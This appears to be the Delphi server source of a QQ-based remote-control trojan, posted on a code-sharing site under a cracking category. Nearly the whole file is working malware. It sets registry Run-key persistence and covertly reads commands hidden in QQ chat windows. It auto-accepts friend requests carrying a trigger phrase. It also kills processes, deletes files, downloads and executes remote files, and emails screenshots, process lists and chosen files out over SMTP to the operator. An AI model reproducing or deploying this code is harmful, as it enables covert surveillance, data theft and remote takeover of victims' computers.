Server.pas
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:9k
源码类别:

破解

开发平台:

Delphi

  1. Unit Server;
  2. Interface
  3. Uses
  4.   Windows, Messages, SysUtils, Variants, Graphics, Controls, Forms,
  5.   jpeg, Registry, TLHelp32, URLMon, StdCtrls, ShellApi, ExtCtrls, IdMessage, IdBaseComponent, IdComponent,
  6.   IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdAntiFreezeBase, IdAntiFreeze,
  7.   Classes;
  8. Type
  9.   TServerForm = Class(TForm)
  10.     Timer1: TTimer;
  11.     QQidsmtp: TIdSMTP;
  12.     MailMessage: TIdMessage;
  13.     IdAntiFreeze: TIdAntiFreeze;
  14.     Procedure Timer1Timer(Sender: TObject);
  15.     Procedure FormCreate(Sender: TObject);
  16.     Procedure FormClose(Sender: TObject; Var Action: TCloseAction);
  17.   private
  18.     Sign: String;
  19.     Function SendMail(Files: String): Boolean; //发信
  20.     Procedure GetCmd(FatherHand: THandle; CMDString: String);
  21.     Procedure ReadInfo; //从尾部读取数据
  22.     Procedure Uninstall; //载卸
  23.     Procedure Install; //安装为自启动
  24.     //procedure SendQQMSG(FatherHand: THandle; QQMSG: string);
  25.   public
  26.     { Public declarations }
  27.   End;
  28. Var
  29.   ServerForm: TServerForm;
  30.   MailAddr, MailName, MailPass, MailTo: String; //mesage,
  31.   numbers: Integer;
  32. Implementation
  33. Uses PUB;
  34. {$R *.dfm}
  35. Procedure TServerForm.Install; //安装为自启动
  36. Var
  37.   Reg: TRegistry;
  38. Begin
  39.   Reg := TRegistry.Create;
  40.   Try
  41.     Reg.RootKey := HKEY_LOCAL_MACHINE;
  42.     Reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun', True);
  43.     Reg.WriteString('system', 'intenat.exe'); //写入数据
  44.     Reg.CloseKey;
  45.   Finally
  46.     Reg.Free;
  47.   End;
  48. End;
  49. Procedure TServerForm.Uninstall; //载卸
  50. Var
  51.   Reg: TRegistry;
  52. Begin
  53.   Reg := TRegistry.Create;
  54.   Try
  55.     Reg.RootKey := HKEY_LOCAL_MACHINE;
  56.     Reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun', True);
  57.     Reg.DeleteValue('system');
  58.     Reg.CloseKey;
  59.   Finally
  60.     Reg.Free;
  61.   End;
  62.   DeleteMe;
  63.   Close;
  64. End;
  65. Procedure TServerForm.ReadInfo; //从尾部读取数据
  66. Var
  67.   Rad: Pchar;
  68.   FileHandle: Integer;
  69.   Tem: String;
  70. Begin
  71.   Try
  72.     FileHandle := FileOpen(GetSysDir + 'intenat.txt', fmOpenread Or fmsharedenynone);
  73.     GetMem(Rad, 100);
  74.     Try
  75.       FileSeek(FileHandle, -100, 2); //这里是读取自身配置的
  76.       FileRead(FileHandle, Rad^, 100);
  77.       Tem := Uncrypt(Rad);
  78.       Delete(Tem, 1, Pos('>', Tem));
  79.       MailAddr := Trim(Copy(Tem, 0, Pos('>', Tem) - 1));
  80.       Delete(Tem, 1, Pos('>', Tem));
  81.       MailName := Trim(Copy(Tem, 0, Pos('>', Tem) - 1));
  82.       Delete(Tem, 1, Pos('>', Tem));
  83.       MailPass := Trim(Copy(Tem, 0, Pos('>', Tem) - 1));
  84.       Delete(Tem, 1, Pos('>', Tem));
  85.       MailTo := Trim(Copy(Tem, 0, Pos('>', Tem) - 1));
  86.       Delete(Tem, 1, Pos('>', Tem));
  87.       Sign := Trim(Copy(Tem, 0, Pos('>', Tem) - 1));
  88.       If Sign = '' Then Sign := 'wsdgs';
  89.     Finally
  90.       FreeMem(Rad);
  91.       FileClose(FileHandle);
  92.     End;
  93.   Except
  94.   End;
  95. End;
  96. Function TServerForm.SendMail(Files: String): Boolean; //发信
  97. Begin
  98.   Result := False;
  99.   With MailMessage Do Begin
  100.     Clear;
  101.     subject := 'QQ远控精灵文件传送';
  102.     Body.Append('wsdgs制作,欢迎访问http://wsdgs.yeah.net');
  103.     From.Address := Trim(MailTo);
  104.     Recipients.EMailAddresses := Trim(MailTo);
  105.   End;
  106.   With QQidsmtp Do Begin
  107.     Host := MailAddr;
  108.     Username := Trim(MailName);
  109.     PassWord := Trim(MailPass);
  110.   End;
  111.   Try
  112.     TIdAttachment.Create(MailMessage.MessageParts, Files);
  113.     QQidsmtp.Connect;
  114.   Except
  115.     Exit;
  116.   End;
  117.   Try
  118.     If (QQidsmtp.AuthSchemesSupported.IndexOf('LOGIN') <> -1) Then Begin
  119.       QQidsmtp.AuthenticationType := Atlogin;
  120.       QQidsmtp.Authenticate;
  121.     End;
  122.     QQidsmtp.Send(MailMessage);
  123.   Finally
  124.     QQidsmtp.Disconnect;
  125.   End;
  126. End;
  127. Procedure TServerForm.GetCmd(FatherHand: THandle; CMDString: String);
  128. Begin
  129.   If CMDString = '' Then Exit;
  130.   Try
  131.     CMDString := Trim(CMDString);
  132.     If CMDString = 'Uninstall' Then Uninstall
  133.     Else If CMDString = 'SUTDOW' Then SutDwn('1')
  134.     Else If CMDString = 'REBOOT' Then SutDwn('2')
  135.     Else If CMDString = 'LOGOFF' Then SutDwn('3')
  136.     Else If CMDString = 'PIC' Then ScreePic
  137.     Else If CMDString = 'MAILPIC' Then Begin
  138.       ScreePic;
  139.       SendMail('C:screen.jpg');
  140.     End
  141.     Else If CMDString = 'EProcess' Then EnumerateProcess
  142.     Else If Pos('KProcess', CMDString) > 0 Then Begin
  143.       Delete(CMDString, 1, 8);
  144.       KillProcess(CMDString)
  145.     End
  146.     Else If Pos('CProcess', CMDString) > 0 Then Begin
  147.       Delete(CMDString, 1, 8);
  148.       CloseOperate(CMDString)
  149.     End
  150.     Else If CMDString = 'MAILProcess' Then Begin
  151.       EnumerateProcess;
  152.       SendMail('C:/result.txt');
  153.     End
  154.     Else If Pos('MAILFILE', CMDString) > 0 Then Begin
  155.       Delete(CMDString, 1, 8);
  156.       SendMail(CMDString)
  157.     End
  158.     Else If Pos('DELETE', CMDString) > 0 Then Begin
  159.       Delete(CMDString, 1, 6);
  160.       FileSetAttr(CMDString, 0);
  161.       DeleteFile(CMDString);
  162.     End
  163.     Else If Pos('DOWNTHEFILE', CMDString) > 0 Then Begin
  164.       Delete(CMDString, 1, 11);
  165.       DownloadFile(CMDString, False)
  166.     End
  167.     Else If Pos('DOWNFILERUN', CMDString) > 0 Then Begin
  168.       Delete(CMDString, 1, 11);
  169.       DownloadFile(CMDString, True)
  170.     End
  171.     Else If Pos('RUNFILE', CMDString) > 0 Then Begin
  172.       Delete(CMDString, 1, 7);
  173.       ShellExecute(Application.Handle, Pchar('open'), Pchar(CMDString), Pchar(''), Nil, SW_NORMAL);
  174.     End
  175.   Except
  176.   End;
  177. End;
  178. Procedure TServerForm.Timer1Timer(Sender: TObject);
  179. Var
  180.   Title: Array[0..255] Of Char;
  181.   CMDText: Pchar;
  182.   Long: Integer;
  183.   ChildHand, QQHand, FatherHand: THandle;
  184.   CMD: String;
  185. Begin
  186.   Try
  187.     Timer1.Enabled := False;
  188.     FatherHand := GetForegroundWindow;
  189.     Getwindowtext(FatherHand, Title, 255); //获取窗口标题
  190.     //**************如果是聊天窗口************************
  191.     If (Pos('聊天中', Title) > 0) Then Begin
  192.       ChildHand := FindWindowEx(FatherHand, 0, 'RichEdit20A', Nil);
  193.       //==========================两个QQ版本==================================
  194.       If ChildHand = 0 Then Begin
  195.         QQHand := GetDlgItem(FatherHand, 0);
  196.         ChildHand := FindWindowEx(QQHand, 0, 'RichEdit20A', Nil);
  197.       End;
  198.       Long := SendMessage(ChildHand, WM_GETTEXT, 0, 0) + 1;
  199.       GetMem(CMDText, Long);
  200.       SendMessage(ChildHand, WM_GETTEXT, Long, Integer(CMDText));
  201.       //============================强制到消息模式=============================
  202.       If (Pos(Sign, CMDText) > 0) Then Begin
  203.         QQHand := FindWindowEx(FatherHand, 0, Nil, '消息模式(&T)');
  204.         SendMessage(QQHand, BM_CLICK, 0, 0);
  205.       End;
  206.     End
  207.       //****************************如果是消息模式******************************
  208.     Else If (Pos('查看消息', Title) <> 0) Then Begin
  209.       ChildHand := FindWindowEx(FatherHand, 0, 'richedit', Nil);
  210.       //==========================两个QQ版本====================================
  211.       If ChildHand = 0 Then Begin
  212.         QQHand := GetDlgItem(FatherHand, 0);
  213.         ChildHand := GetWindow(QQHand, GW_CHILD);
  214.         ChildHand := FindWindowEx(QQHand, 0, 'RICHEDIT', Nil);
  215.       End;
  216.       Long := SendMessage(ChildHand, WM_GETTEXT, 0, 0) + 1;
  217.       GetMem(CMDText, Long);
  218.       SendMessage(ChildHand, WM_GETTEXT, Long, Integer(CMDText));
  219.     End
  220.       //***************************查看手机短讯窗口*****************************
  221.     Else If (Pos('查看手机短讯', Title) <> 0) Then Begin
  222.       ChildHand := GetWindow(FatherHand, GW_CHILD);
  223.       Long := SendMessage(ChildHand, WM_GETTEXT, 0, 0) + 1;
  224.       GetMem(CMDText, Long);
  225.       SendMessage(ChildHand, WM_GETTEXT, Long, Integer(CMDText));
  226.     End
  227.     Else If (Pos('系统消息', Title) <> 0) Then Begin
  228.       ChildHand := FindWindowEx(FatherHand, 0, 'richedit', Nil);
  229.       Long := SendMessage(ChildHand, WM_GETTEXT, 0, 0) + 1;
  230.       GetMem(CMDText, Long);
  231.       SendMessage(ChildHand, WM_GETTEXT, Long, Integer(CMDText));
  232.       If (Pos('寒风催残漏', CMDText) > 0) Then Begin
  233.         ChildHand := FindWindowEx(FatherHand, 0, Nil, '通过验证');
  234.         If ChildHand = 0 Then ChildHand := FindWindowEx(FatherHand, 0, Nil, '接受请求');
  235.         SendMessage(ChildHand, BM_CLICK, 0, 0);
  236.       End;
  237.     End
  238.     Else Exit; //如果是其他情况退出
  239.     Try
  240.       If Pos(Sign, CMDText) <> 0 Then Begin
  241.         CMD := CMDText;
  242.         Delete(CMD, 1, Pos(Sign, CMD) + Length(Sign) - 1);
  243.         Delete(CMD, Pos(Sign, CMD), Length(CMD));
  244.         CMD := Uncrypt(CMD);
  245.         GetCmd(FatherHand, CMD);
  246.         SendMessage(FatherHand, WM_CLOSE, 0, 0);
  247.       End;
  248.     Finally
  249.       FreeMem(CMDText);
  250.     End;
  251.   Finally
  252.     Timer1.Enabled := True;
  253.   End;
  254. End;
  255. Procedure TServerForm.FormCreate(Sender: TObject);
  256. Begin
  257.   Try
  258.     ReadInfo;
  259.     Install;
  260.   Except
  261.   End;
  262. End;
  263. Procedure TServerForm.FormClose(Sender: TObject; Var Action: TCloseAction);
  264. Begin
  265.   Timer1.Enabled := False;
  266.   QQidsmtp.Disconnect;
  267. End;
  268. End.